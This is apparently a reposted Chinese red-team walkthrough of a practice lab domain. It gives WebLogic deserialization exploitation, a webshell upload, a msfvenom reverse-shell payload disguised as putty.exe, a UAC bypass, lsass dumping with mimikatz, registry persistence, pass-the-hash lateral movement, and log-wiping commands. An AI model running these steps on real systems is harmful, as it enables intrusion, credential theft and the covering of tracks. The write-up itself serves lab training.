0、靶场简介
ATT&CK实战系列—红队实战(二)是红日安全团队出品的一个实战环境,该靶场模拟真实环境,本次红队环境主要Access Token利用、WMI利用、域漏洞利用SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。关于靶场统一登录密码:1qaz@WSX 模拟环境拓扑图如下:
1、信息收集
nmap -sV -O 192.168.1.144
-
端口服务
nmap -Pn -A -T4 192.168.1.144
-
目录信息
dirb http://192.168.1.144:7001 /usr/share/wordlists/dirb/vulns/weblogic.txt
-
信息汇总
单位名称 |
备注 |
|
网站域名 |
||
指纹信息 |
Windows Server 2008 R2 Standard 7601 Service Pack 1 weblogic-t3-info: T3 protocol in use (WebLogic version: 10.3.6.0) Microsoft-IIS/7.5 Domain name: de1ay.com FQDN: WEB.de1ay.com |
|
端口服务 |
80、135、139、445、1433、3389、7001、 |
|
目录信息 |
http://192.168.1.144:7001/console/login/LoginForm.jsp http://192.168.1.144:7001/_async/ http://192.168.1.144:7001/bea_wls_deployment_internal/DeploymentService |
|
漏洞存疑 |
ms17-010 1433、3389、7001 口令爆破 samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED |
2、漏洞分析
漏洞扫描
nmap --script=vuln,auth 192.168.1.144
nmap 192.168.1.144 --script=auth,vuln,ftp-brute,imap-brute,smtp-brute,pop3-brute,mongodb-brute,redis-brute,ms-sql-brute,rlogin-brute,rsync-brute,mysql-brute,pgsql-brute,oracle-sid-brute,oracle-brute,rtsp-url-brute,snmp-brute,svn-brute,telnet-brute,vnc-brute,xmpp-brute
漏洞验证
Ms17-010 利用失败
Cve-2019-2725 反序列化漏洞
3、漏洞利用
利用漏洞上传冰蝎马
上传路径:
C:OracleMiddlewareuser_projectsdomainsbase_domainserversAdminServertmp_WL_internaluddiexplorer5f6ebwwarshell.jsp
访问路径:
http://192.168.1.144:7001/uddiexplorer/shell.jsp
其他路径:
1.image 目录 C:OracleMiddlewarewlserver_10.3serverlibconsoleappwebappframeworkskinswlsconsoleimagesshell.jsp
shell 访问 http://xxxx/console/framework/skins/wlsconsole/images/shell.jsp
2.安装目录 C:OracleMiddlewareuser_projectsdomainsapplicationserversAdminServertmp_WL_user项目名随机字符warshell.jsp
shell 访问 http://xxxx/项目名/shell.jsp
3.2 主机信息收集
本机信息主要包括主机的系统、权限、内网分配 IP 地址段、端口、服务、共享、会话、网络连接信息、补丁更新频率、安装的软件杀毒等。如果是域内主机,系统、软件、补丁、服务、杀毒一般都是批量安装的。通过收集本机的相关信息,可以进一步了解整个域的操作系统版本、 软件、补丁、用户命名方式等。
0.查询当前权限、账号信息
whoami
whoami /all
查询网络配置信息
ipconfig /all
2.查询操作系统及安装软件的版本信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
3.查询本机服务信息
wmic service list brief
4.查询进程列表
tasklist /v
wmic process list brief
5.查看启动程序信息
wmic startup get command,caption
6.查看计划任务
schtasks /query /fo LIST /v
7.查看主机开机时间
net statistics workstation
8.查询用户列表、获取本地管理员信息、查看当前在线用户
net user
net localgroup administrators
query user || qwinsta
9.列出或断开本地计算机和连接的客户端的会话
net session
10.查询端口列表
netstat -ano
11.查询补丁列表
Systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn
12.查询本机共享
net share
wmic share get name,path,status
ARP 缓存表
route print
Arp –A
14.查询防火墙相关配置
netsh firewall show config
15.查看计算机代理配置情况
reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings"
cmd 下使用注册表查询语句,命令如下,得到连接端口为 0xd3d,转换后为 3389.
REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /V PortNumber
4、权限提升
4.1 使用 msf 提权
使用冰蝎反弹msf-shell,创建账户,关闭360
由于冰蝎反弹的shell,功能不够,使用 msfvenom 马获取shell,提权成功
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.136 LPORT=12345 -e x86/shikata_ga_nai -x putty.exe -i 15 -f exe -o putty_shell.exe
4.2 CVE-2019-1388:Windows UAC 本地提权
提权exp:
https://github.com/mai-lang-chai/System-Vulnerability/raw/master/Windows/CVE-2019-1388/hhupd.exe
以管理员身份运行hhupd.exe, 显示有关次发布者的证书信息,然后点击颁发者链接,关闭窗口
页面另存为,然后,输入System32路径,C:WindowsSystem32*.*
然后右键打开cmd ,输入whoami,提权成功。
4.3 获取hash&账号密码
-
msf -- wiki 内置模块
-
使用prodump64
Procdump64.exe -accepteula -ma lsass.exe lsass.dmp
使用mimikatz导出lsass.dmp 文件中的密码散列值
privilege::debug ##在命令行环境中运行mimikatz,提升权限
sekurlsa::minidump c:userstestappdatalocaltemplsass.dmp ##将lsass.dmp 文件加载到mimikatz中。
sekurlsa::logonpasswords ##导出密码散列值
5、权限维持--注册表运行键
5.1 Metasploit 内置模块
使用Meterpreter脚本和后期利用模块来支持通过注册表的持久性。Meterpreter脚本将以VBS脚本的形式创建一个有效负载,该负载将被拖放到磁盘上,并将创建一个注册表项,该注册表项将在用户登录期间运行该有效负载。用户下次登录系统时,将打开一个新的Meterpreter会话。
run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 443 -r 192.168.1.136
使用post/windows/manage/persistence_exe 模块
如果已获得系统级别的特权,则可以将该模块配置为在HKLM位置中创建注册表项。该STARTUP选项将需要改变系统。
进入注册表可以看到,创建了一个启动项。重启电脑后成功上线。
5.2 命令行--手工创建
注册表项可以从终端添加到运行键以实现持久性。这些键将包含对用户登录时将执行的实际负载的引用,已知使用此持久性方法的威胁因素和红队使用以下注册表位置。
reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun" /v Pentestlab /t REG_SZ /d "C:Userspentestlabpentestlab.exe"
reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce" /v Pentestlab /t REG_SZ /d "C:Userspentestlabpentestlab.exe"
reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices" /v Pentestlab /t REG_SZ /d "C:Userspentestlabpentestlab.exe"
reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce" /v Pentestlab /t REG_SZ /d "C:Userspentestlabpentestlab.exe"
如果已获得提升的凭据,则最好使用本地计算机注册表位置,而不是当前用户,因为有效负载将在每次系统启动时执行,而与使用系统身份验证的用户无关。
reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun" /v Pentestlab /t REG_SZ /d "C:tmppentestlab.exe"
reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce" /v Pentestlab /t REG_SZ /d "C:tmppentestlab.exe"
reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices" /v Pentestlab /t REG_SZ /d "C:tmppentestlab.exe"
reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnce" /v Pentestlab /t REG_SZ /d "C:tmppentestlab.exe"
另外两个注册表位置,这些位置可以允许红队通过执行任意有效负载或DLL来实现持久性。这些将在登录期间执行,并且需要管理员级别的特权。
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx001" /v Pentestlab /t REG_SZ /d "C:tmppentestlab.exe"
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx001Depend" /v Pentestlab /t REG_SZ /d "C:tmppentestlab.dll"
6、横向渗透
6.1 代理转发
使用msf 内置模块搭建socks5
6.2 域内信息收集
域内基础信息收集
Net config workstation
Ipconfig /all
Net view /domain
Net time /domain
Net user /domain
Net group “domain controllers /domain”
Net group “domain admins” /domain
内网主机存活探测
端口扫描
proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 10.10.10.90
6.3 内网横向--域控
1、使用 msf -- psexec 进行横向
2、使用 wmiexec.py 进行横向
proxychains4 wmiexec.py -hashes 00000000000000000000000000000000:161cff084477fe596a5db81874498a24 Administrator@10.10.10.10
使用sockscap 64 代理连接域控:
由于配置了下次登录必须更改密码的策略,这里就不更改了,回去重新创建一个账号
6.4 内网横向 -- PC 机
1、利用 ms17-010 漏洞
2、wmi 横向渗透
由于 PC 机存在360 漏洞利用和wmi 均利用失败,最后只能使用域账号进入系统了。
3、使用域账号
7、痕迹清理
有远程桌面权限时手动删除日志:
开始-程序-管理工具-计算机管理-系统工具-事件查看器-清除日志
wevtutil:
wevtutil el 列出系统中所有日志名称
wevtutil cl system 清理系统日志
wevtutil cl application 清理应用程序日志
wevtutil cl security 清理安全日志
meterperter自带清除日志功能:
clearev 清除windows中的应用程序日志、系统日志、安全日志
清除recent:
在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮
UsersAdministratorRecent并删除所有内容 :
/f /s /q “%userprofile%Recent*.*
原文始发于微信公众号(贝雷帽SEC):ATT&CK实战系列—红队实战-2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论